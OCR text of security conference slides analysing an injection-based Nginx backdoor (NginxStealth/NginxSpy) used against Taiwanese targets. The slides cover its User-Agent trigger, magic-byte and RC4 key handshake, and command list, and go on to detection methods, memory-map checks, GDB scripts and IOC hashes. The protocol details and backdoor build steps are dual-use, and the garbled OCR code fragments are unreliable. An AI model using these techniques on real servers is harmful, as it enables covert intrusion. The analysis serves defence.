97 pthread_create(&newthread, @LL, backdoor thread 2D38, &connection list 9320[v7]);
98 pthread_detach(newthread);
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Key Exchange Mode #1
=

.
Actor Infected Nginx Server

o<
I{'
Va

- ~ GET / HTTP/1.0 e N

g User-Agent: 360 Safe Browser 2.0
Senq t.he request with » Check the user agent
malicious user agent
. J . J
r ~N \xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10 N
\xe3\x10\xb3\x70\x8d\x6d\xab\x54\x52\x79\xf0\x1b\x78\x5e\xd1\x46

Check whether magic ==

I > :
Sl Hiie MEEE hardcoded magic
L J g J
r N \xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10 r N
\xe3\x10\xb3\x70\x8d\x6d\xab\x54\x52\x79\xfO\x1b\x78\x5e\xd1\x46 Send the hardcoded
Check the magic X :
magic back
L J L J
( N ( N
32 byte RC4 Key
Send the RC4 Key > Recv the RC4 Key
L J L 38/
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Key Exchange Mode #2

—

A
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>

(3
X

o<
I{'
Va

=
nfected Nginx Server

EAMTS

https://t.me/learningnets

Actor
r GET / HTTP/1.0 r ~\
g User-Agent: 360 Safe Browser 2.0
Senq t.he request with » Check the user agent
malicious user agent
L L J
e \xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10 ( ~
\xe3\x10\xb3\x70\x8d\x6d\xab\x54\x52\x79\xfO\x1b\x78\x5e\xd1\x46 Send the hardcoded
Check the magic magic
. g J
e \xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10 ~
\xe3\x10\xb3\x70\x8d\x6d\xab\x54\x52\x79\xfO\x1b\x78\x5e\xd1\x46 Check whether ma gl ——
I > >
Send the magic hardcoded magic
L L J
( 32 byte RC4 K [ )
yteRLA Rey Generate random 32
Recv the RC4 Key byte as RC4 Key
\. \. 39/
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Va0
Y 4
Command o
D Description
0 Show current directory (getcwd)
1 Show version
2 Kill cron process
1 1Nt 1 1 2 = *(_DWORD *)a1;
3 Kill cron process and inject it with recv payload 2 DR 2 s
0. a v7 = (_in‘t128)_mm_ur)packlo_epi64((_m128i)(unsigned __inté4)getcwd_349@, (_ ml128i)(unsigned __ inté64)sendversion_2ECO);
Show current user’s info v8 = _mm_unpacklo epi6d(
4 .d t .d t d) E_miig;i%uns;gnei _}nzgjgIflllénjecteggggc;n_SZEe,
__m128i)(unsigned _ in inecttocron_ H
(getUI ’ ge eul ’ ge pWUI v9 = _mm_unpacklo_epi64((_ ml128i)(unsigned _ int64)getuser_3230, (_ ml128i)(unsigned _ int64)getloginfromwtmp_4120);
.. . v1@ = _mm_unpacklo_epi64((_ ml128i)(unsigned _ inté64)readwtmp_42C@, (_ mi128i)(unsigned _ inté4)enumprocess_38F0);

5 Get log|n |nformat|on (Setutxent) v1ll = _mm_unpacklo_epi64((_ m128i)(unsigned _ inté64)enum_path_3D3@, (_ m128i)(unsigned _ int64)enum_path_3E5@);

14 = itefile_3950;

. . . xlz = f;;_in;aizlo_epim-((_leBi)(unsigned __inté4)readallmodule_4e9@, (_ ml128i)(unsigned _ int64)remove_3A70);

6 Get log|n |nf0rmat|on (read th p) v13 = _mm_unpacklo_epi64((__m128i)(unsigned _ inté4)readfile_3C5@, (_ m128i)(unsigned _ int64)readfile_3B20);

v3 = ns_conn_from(v2, @);

if (v3)
7 Enum processes {

vd = v3;
. while ( !(unsigned int)ns_conn_recv_1i32((__inte4)va, (__ int64)&vE)
8 Change directory 88 6 <= 119
&& !(*((unsigned int (_ fastcall **)(struct_vi2 *))&7 + (int)ve))(v4) )// @ 8 16 24 ~

9 Enum SpeC|f|C directory ns:conn_close(v4);

}

10 Read /proc/modules

11 Delete file or directory (remove)
12 Read data from file

13 Read data from file

' i 40
https://Afhe/learniniéis data to file



Backdoor Communication: HTTP &sTEAMTS

GET / HTTP/1.0

. User-Agent: 360 Safe Browser 2.0
1. Send the request with

malicious user agent

> 2. Pass the fd to NGINXSPY

TCP socket HTTP
= =)

it Infected Nginx Server
\xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10
\xe3\x10\xb3\x70\x8d\x6d\xab\x54\x52\x79\xfO\x1b\x78\x5e\xd1\x46 .
< 3. Send the hardcoded magic

4. Recv magic in TCP socket back in TCP socket without

any encapsulation
TCP socket d P

41
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Backdoor Communication: HTTPS & TEAMTS

GET / HTTP/1.0

. User-Agent: 360 Safe Browser 2.0
1. Send the request with

malicious user agent >

TCPsocket  TLS/SSL HTTP

2. Pass the fd to NGINXSPY

\xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10

@ \xe3\x10\xb3\x70\x8d\x6d\xak 79\xf0\x1b\x78\x5e\xd 1\x46

B
Actor TCPsocket ~ TLS/SSL Infected Nginx Server

\xe5\xcf\xff\x02\xb1\x69\x20\x69\x75\x15\x99\x45\x20\x2e\x0a\x10

3\x10\xb3\x70\x8d\x6d\xab\x54\x52\x79\xf0\x1b\x78\x5e\xd1\x46
< We310\b3\X7OWBdbd abhotxs2TIWI0 b T8 Ixeixdl ix 3. Send the hardcoded magic

4. Recv magic in TCP socket back in TCP socket without

any encapsulation
TCP socket d P
42
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Overview of the Attack

Malware Analysis

Other Nginx-based Backdoor

Detection

Conclusions
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Attack Vector & TEAMTS

« Existing Nginx-based backdoor
+ Recompile Nginx main program

+ Compiling Nginx module %
+ NginxStealth and NginxSpy(Injection-based)
+ Inject into Nginx process Executable

45
https://t.me/learningnets



Recompile Nginx main program & TEAMTS

<

Compile & Install

sudo ./configure --add-module=<module
path>

N

NGINX
Source

sudo make NGINX

Build System NGINX

sudo cp -f objs/nginx Executable
/path/to/nginx/sbin/nginx gmmm
ource

_ 46
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Compiling Nginx module @ TEAMTS

N A7
®
YA

Compile & Install

sudo ./configure --add-dynamic-
module=<module path>

N

sudo make modules gﬂﬁi aggﬁém
NNGINX

Udo - Build System

objs/ngx_http check headers _module.so [ - ] :

<nginx_module_path> Source '1%233]‘;

load_module

<path_to your module>/ngx _http check
headers _module.so;

# Modify nginx.conf

Nginx Version: 1.9.11

_ 47
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Other Nginx-based Backdoor & TeAMTS

m Recompile Nginx Compile Nginx Abuse Point
program module

pwnginx ngx_http_top_header_filter
NginxExecute O O X ngx_http_core_loc_conf_t -> handler
i ngx_http_core_main_conf_t
o2 0 0 X -> phases[NGX_HTTP_ACCESS_PHASE]
ackaoor -> handlers
1. ngx_http_core_main_conf_t ->
phase_engine -> handlers-
: >hanlder
NginxSpy / X X 0

NginxStealth 2. ngx_http_core_main_conf_t

-> phases[NGX_HTTP_LOG_PHASE]
-> handlers -> elts

_ 48
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Challenge 8 TEAMTS

« Injection-based Nginx backdoor
+ Without modifying nginx.conf
+ Without recompiling nginx program
+ No malware on disk

+ Thereis no any login access.log

» For a webshell, there is no webpage in web folder
» Only need the right user-agent

49
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Detection opportunity & TEAMTS

5 $ stat fusr/sbin/nginx

+ Recompile Nginx main program re: a51ss O Blocks: 233 10 Block: 4696  regular file

805h/26053d Inode: 267367 Links: 1

2022-10-28 01:15:27.457422516 -0700
2022-04-12 01:04:16.000000000 -0700

L 2 CheCk Whether Sym bOl table eXISted o 2022-10-28 01:15:26.589437821 -0700

¢ CO m pi I'i n g N gi nX m Od u le $ readelf --syms fusr/sbin/nginx
+ Check the loaded dynamic module

: 00PEOOEE0OAEOORO ®@ NOTYPE LOCAL DEFAULT
: POAOOAAEOOAAOOAO FUNC GLOBAL DEFAULT initgroups@GLIBC_2.2.5 (2)
: 00000OOE0OHEOO0O FUNC GLOBAL DEFAULT TLS_method@OPENSSL_1_1_0 (3)
: 000000HE0OHEOOO FUNC GLOBAL DEFAULT OCSP_response_getl basic@PENSSL_1_1_0 (4)
: 00000OHE0OHEOOO FUNC GLOBAL DEFAULT chmod@GLIBC_2.2.5 (2)
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT _get_servername@OPEN
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT _
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT EVP_DigestInit_ex@OPE
: 00000OOE0OHEOO0O FUNC GLOBAL DEFAULT X509 _check_host@PENSSL_1_
: 0000000000000 FUNC GLOBAL DEFAULT sem_wait@GLIBC_2.2.5 (5)
: 00000OHE0OHEOOO FUNC GLOBAL DEFAULT chdir@GLIBC_2.2.5 (2)
1: 00OEEOEE0OREOORO FUNC GLOBAL DEFAULT dup2@GLIBC_2.2.5 (2)
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT pthread_cond_destroy@GLIBC 2.3.2 (6)
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT SSL_SESSION_free@OPENSSL_1_1_0 (3)
: POAOOAAEOOHAOOAO FUNC GLOBAL DEFAULT _get_rbio@PENSSL_1_1_ 8 (3)
: 0000000000000 FUNC GLOBAL DEFAULT ASN1_d2i_bio@OPENSSL_1_1_ 0 (4)
: 0000OOOE0OHEOOO FUNC GLOBAL DEFAULT X509 _STORE_CTX_get_error_@OPENSSL_1_1 0 (4)
: 00000OEE00HE0000 FUNC GLOBAL DEFAULT inflateReset
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT OCSP_CERTID_free@OPENSSL_1_1_|
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT OCSP_response_status@OPENS
: POAOOAAEOOAAOOAO FUNC GLOBAL DEFAULT mktime@GLIBC_2.2.5 (2)
1: 00000OEE00HAOO0O FUNC GLOBAL DEFAULT memset@GLIBC_2.2.5 (2)
: 000000HE0OHEOOO FUNC GLOBAL DEFAULT SSL_CTX_set_cipher_list@OPEN
: 00000OEE00HE0000 FUNC GLOBAL DEFAULT OCSP_REQUEST_new@OPENSSL_1_1_©
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT getgrnam@GLIBC_2.2.5 (2)
: 00PEOOEE0OAEOORO FUNC GLOBAL DEFAULT ERR_get_error@PENSSL_1_1 0 (4)
: POAOOAAEOOAAOOAO
: 0000000000000

Y 3 CheCk the mOdify time Of Nginx . . (@755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( o/ root)

(<]

- = RV, [ - PE I N

3 $ cat conf/nginx.conf
daemon off;
#master_process off;
user _tom:
load module fusr/lib/nginx/modules/ngx http execute module.so;
load_module fusr/lib/nginx/modules/ngx_http_secure_headers_module.so;
OFKEer_processes 1,

#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log 1info;

#pid logs/nginx.pid
orker_rlimit_core 10000m;
orking_directory fusr/local/nginx/logs;

FUNC GLOBAL DEFAULT setsid@GLIBC_2.2.5 (2)
FUNC GLOBAL DEFAULT shutdown@GLIBC_2.2.5 (2)

0000000000000 0C0QC0Q0O00O0
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Current Detection on
NginxStealth & NginxSpy
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S sudo cat /proc/4195/maps

L) L) H
C h ec k th e rT] Od I f tl rr] e Of 558c68d78000-558c68d99000 r--p 00000000 ©8:05 272170 Jusr/sbin/nginx
’ 558c68d99000-558c68e4e000 xp 00021000 08:05 272170 fusr/sbin/nginx

° o 558c68e4e@00-558c68e7T000 000d6000 ©8:05 272170 Jusr/sbin/nginx
N n . fa le d 558Cc68e80000-558c68e82000 00107000 B 2rZNTA Jusr/sbin/nginx
g I X ° I 558c68e82000-558c68e9d000 00109000 H 272170 Jusr/sbin/nginx
558c68e9d000-558c68ebcopo 00000000 B e
CER-Aadc2ARAA-EER]-Aaa L2 ARAR AAARAAARAA AR AR [heanl
fB8o9e39efo00-7f89e39f0000 00000000
< eC W et e r Sy | I l O ta e f89e39f0000-7F89¢410000 00000000 00:
f8o9e41foe00-7f89e41f2000 00000000 B Q ~A
M o M f89e41f2000-7f89e41f6000 00000000 00: Su SplC'OUS! !!
eX I Ste A a I e fB8o9e41f6000-7f89e41f7000 00000000 B
f89e41f7000-7f89e41f8000 00000000
Fon T AAADAAMN A A6 &
o f89e41fboeO-7f89e4203000 00000000 A 294367 Jusr/1lib/nginx/modules/ngx_stream_module.
¢ C h eC k th e IO a d e d d y n a m I C £89¢4203000-7f89e421c000 r-xp 000D8AOO 08:05 294367 Jusr/1ib/nginx/modules/ngx_stream_module.
f89e421c000-789e4223000 00021000 B 294367 Jusr/lib/nginx/modules/ngx_stream_module.
° f89e4223000-7189e4224000 00027000 B 294367 Jusr/lib/nginx/modules/ngx_stream_module.
m Od u le C fa I led f89e4224000- 78924228000 00028000 08:85 294367 Jusr/lib/nginx/modules/ngx_stream_module.
L T89e4228000-7789e422d000 00000000 B 267306 Jusr/1lib/nginx/modules/ngx_mail_module.so
T89e422d000-7789e423c000 Xp 00005000 B 267306 Jusr/1lib/nginx/modules/ngx_mail_module.so
o ) ; 00014000 B 267306 Jusr/1lib/nginx/modules/ngx_mail_module.so
C h k N m m m e e ] 60017060 H 267306 Jusr/lib/nginx/modules/ngx_mail_module.so
’ e C g I n X S e O ry a p S = ] e 600186000 H 267306 Jusr/lib/nginx/modules/ngx_mail_module.so
e e 60000000 H 271473 Jusr/lib/x86_64-1inux-gnu/libgpg-error.so.

00004000 B 271473 Jusr/lib/x86_64-1inux-gnu/libgpg-error.so.
f89e425a000-789e4264000 00017000 B 271473 Jusr/1lib/x86_64-1inux-gnu/libgpg-error.so.
f89e4264000-789e4265000 00020000 B 271473 Jusr/1lib/x86_64-1inux-gnu/libgpg-error.so.
fBo9e4265000- 7894266000 000216000 B 271473 Jusr/1ib/x86_64-1linux-gnu/libgpg-error.so.
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Using all we know...

+ Check Nginx’s memory maps

O 3 $ sudo cat [proc/4195/maps
* A b u Se P O | nt 558c68d78000-558c68d99080 00000000 B8:05 272170 Jusr/sbin/nginx
558c68d99000-558c68e4e000 r-xp 00021000 08:05 272170 Jusr/sbin/nginx
558c68e4e000-558c68e7f000 000d6600 08:05 272170 Jusr/sbin/nginx
° 558c68e80000-558c68e82000 00107000 08:05 272170 Jusr/sbin/nginx
l n X tt p CO re I l l a l n CO n t 558c68e82000-558c68e9d000 00109000 08:05 272170 Jusr/sbin/nginx
° — — — — — 558c68e9d000-558c68ebcAnn 00000000 00:00 O
© 558c6adc3000-558c6ae52000 00000000 00:00 [heap]
_> h a Se e n l n e _> h a n d le rS £ONQ200FARA_TFONLINEARAR ARARAAAR AL AR
p — f89e39f0000-7f89e41f0000 00000000 00:00
|’] (:l l f89e41f0000-7f89e4172000 00000000 00:00 o . |||
- f89e41f2000-7f89e4176000 00000000 00:00 S
> a n e r f89e41f6000-7f89e41F 7000 00000000 00:00 u S p l C I O u S OO0
f89e41f7000-7f89e4178000 00000000 00:00
O f89e41f8000-7f89e41fbone 00000000 00:00 O
2 n X h tt C O re m a l n C O n f t /TH9e41TD0OD- /T8Ye4203000 0ODOPOBE OB:05 294367 JusrjLlib/nginx/modules/ngx_stream_module.so
L —_— — — — — f89e4203000-7f89e421cO00 Xp 00008000 08:05 294367 Jusr/lib/nginx/modules/ngx_stream_modul
f89e421c000-7f89e4223000 00021000 08:05 294367 Jusr/lib/nginx/modules/ngx_stream_module.so
__::> f89e4223000-789e4224000 00027000 08:05 294367 Jusr/lib/nginx/modules/ngx_stream_module.so
00028000 08:05 294367 Jusr/lib/nginx/modules/ngx_stream_module.so
; e 00PEOERO 08:05 267306 Jusr/lib/nginx/modules /ngx_mail_module.so
h N G X H TT P LO G P H € e Xp 00005000 08:05 267306 fusr/lib/nginx/modules/ngx_mail module.so
p a Ses = e 00014000 08:05 267306 Jusr/lib/nginx/modules/ngx_mail_module.so
- - - f89e4240000-7789e4241000 00017000 B8:05 267306 Jusr/lib/nginx/modules/ngx_mail_module.so
AS E] > h d l > f89e4241000-7789e4243000 90018000 08:05 267306 Jusr/lib/nginx/modules/ngx_mail _module.so
= a n e rS = e S f89e4243000-7f89e4247000 00PEOERO 08:05 271473 Jusr/lib/x86_64-1linux-gnu/libgpg-error.so.0.28.0
f80e4247000-7f89e425a000 r-xp 00004000 08:05 271473 Jusr/lib/x8 4-1linux-gnu/libgpg-error.so.0.28.0

f89e425a000-7f89e4264000 00017000 08:05 271473 fusr/lib/x86_ 64-1linux-gnu/libgpg-error.so.0.28.0
f89e4264000-7f89e4265000 00020000 08:05 271473 Jusr/lib/x86_64-1linux-gnu/libgpg-error.so.0.28.0
T89e4265000- 7894266000 00021000 08:05 271473 Jusr/lib/x86_64-1inux-gnu/libgpg-error.so.0.28.0
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NginxCheck & TEAMTS

+ We developed a Nginx module, which is modified from
https://github.com/vgo0/nginx-backdoor

+ This module list the address:

+ checker and handler in

ngx_http_core_main_conf_t -> phase_engine -> handlers
o eltsin

ngx_http_core_main_conf_t

-> phases[NGX_HTTP_LOG_PHASE] -> handlers

» You can download from : https://github.com/p25072004/NginxCheck

_ 54
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Compile & Installation & TEAMTS
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X

» Tested on Nginx version: Nginx/1.18.0

Compile Install
sudo ./configure --add-dynamic- sudo cp objs/ngx_http check headers module.so
module=<module path> <nginx_module_ path>

# for self-compiled version
load_module

sudo ./configure --add-dynamic- <path_to_your_module>/ngx_http_check_ headers_
module=<module path> --with-compat module.so:
# for compiled version # Modify ;ginx.conf

sudo make modules

# Compile module sudo nginx -s reload
# Reload the configuration file without
disconnecting current established connections

55
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How to use X

Usage

curl -H "check: on"™ <c2 address>

Original Hooked Nginx Maps

NGX_HTTP_LOG_PHASE elts == NGX HTTP LOG PHASE elts= /proc/13285/maps
elts = ex562907b2d4e@ elts = @x7fdesblBcesde 00000000 88:85 267307 /usr/sbin/nginx
eee21eee : 267307 /usr/sbin/nginx
eeedceoe : 267307 Jusr/sbin/nginx
eele7eee : 267307 /usr/sbin/nginx
00109000 : 267307 /usr/sbin/nginx
208000080 e
©o8000080 e
208000080 g e
e
e

phase_engine = phase_engine
= @x562907e7c650 : Bx562987bleSfO = @x562987e7c650 : Bx562987blesfe
= @x5629@7e7c658 : @x562987bebebe = @x562987e7c658 : @x7fdesbéce39e
©x562907e7c660 : Oxl ©x562907e7c660 : ©x1

= @x562907e7c668 : Bx562987blea9e = @x562987e7c668 : Bx562987blea9e peeeeees
= @x562907e7c670 : @x562907b6486 = @x562987e7c67@ : Bx562907b6f480 £0eeeeRe
Bx562907e7c678 : Ox2 Bx562907e7c678 : ©Ox2 00000000 g 271e81 fusr/lib/x86_64-1linux-gnu/libbsd.so.
eeee4eee : 271881 /usr/lib/x86_64-1inux-gnu/libbsd.so.
@x562987e7c680 : Bx562987b1f8ad @x5629087e7c680 : Bx562907blf@al 00013000 : 271681 /usr/lib/x86_64-1linux-gnu/libbsd.so.
= Ox562907e7c688 : Bx0 Bx5629087e7c688 : BxO eeeleeen = 271881 /usr/lib/x86_64-1linux-gnu/libbsd.so.
Ox562907e7c650 : Ox8 ©OXx562907e7c690 : BxO oeelceee : 271081 fusr/lib/x86_64-1linux-gnu/libbsd.so.
©ee17e080 : 271081 /usr/lib/x86_64-1linux-gnu/libbsd.so.
20800000 5 e
poee0e0e : 270923 /usr/lib/x86_64-1linux-gnu/libXdmcp.
eeeez2eee : 270923 /usr/lib/x86_64-1linux-gnu/libXdmcp.
oeee4000 : 270923 /usr/lib/x86_64-1linux-gnu/libXdmcp.

eeeeseee : 270923 /usr/lib/x86_64-1inux-gnu/libXdmecp.
8x562987e7c6b® : Bx562987blebld 8x562987e7c6bB : Bx562987blebl® LT : 270923 Jusr/lib/x86_64-1linux-gnu/libXdmcp.

= @x562907e7c6b8 : Ox@ ©x562907e7c6b8 : Ox0©
Bx562987e7cbcO : Ox2 Ox562907e7cbcd : Bx2

8x562987e7c698 : Bx562987blea%o 8x562987e7c698 : Bx562907bleade
= Ox562907e7c6ab : Bx562907b6f480 @x562987e7c6a@ : Bx562907bef480
@x562987e7c6a8 : Bx4 Ox5629087e7c6a8 : Bx4

(]

® o

®®

@x562987e7c6c8 : Bx562907bleofo @x562987e7c6c8 : Bx562907bleofe
©x562907e7c6dl : Bx5629087b6bebe 8x562987e7c6d® : Bx5629@7bebebe
©x562987e7c6d8 : @x8 @x562987e7c6d8 : ©x8

©x562907e7c6e@ : Bx562907bleofe ©x562907e7c6e® : Bx562907ble9fe
ex562907e7c6e8 : Bx562907b69f30 @x562987e7c6e8 : Bx562907b69f3e
Bx5ez93 e il L s Bx562987e7c6f@ : ©x8
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» checker and handler in
ngx_http_core_main_conf_t -> phase_engine -> handlers

set $main = (ngx_http core_main_conf t *)*(*ngx_cycle->conf_ctx[ngx_http module.index] +
ngx_http core module->ctx_index)

set $§s = ©

set $start = ($main->phase_engine->handlers)

while(*$start->checker!=0)

p *(ngx_http phase handler_t *)$start

set $s=%$s+1

set $start = ($main->phase_engine->handlers+$s*1)
end
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s eltsin
ngx_http_core_main_conf_t -> phases[NGX_HTTP_LOG_PHASE] -> handlers

set $main = (ngx_http core_main_conf t *)*(*ngx_cycle->conf_ctx[ngx_http module.index] +
ngx_http core module->ctx_index)

set $log handler = $main->phases[NGX HTTP_LOG PHASE].handlers.elts

set $n = $main->phases[NGX HTTP_ LOG_PHASE].handlers.nelts

set $i = ©

while($i<$n)

p *(ngx_http handler pt *)$log handler

set $i = $i + 1

set $log handler = $main->phases[NGX HTTP_LOG PHASE].handlers.elts + $i*8
end
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Conclusions 8 TEAMTS

+ New attack vector for Nginx-based backdoor: Injection

+ We have discovered two notable functions in this backdoor
« Filter specific connection
» Evading logging mechanism

+ We provide detection for this kind of backdoor
+ Target Areas: Taiwan

61
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+ Dropper (e170bf30-hot.bak)
+ 94bbeecl17f9aa71781a4d3aec91d7982

+ NginxStealth
» 30084d79e5f027c0e070ffbcb4f2bf2e

+ NginxSpy
+ 06cafab4820fe2cccd8623178f2bf712
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THANK YOU!
Any Questions?
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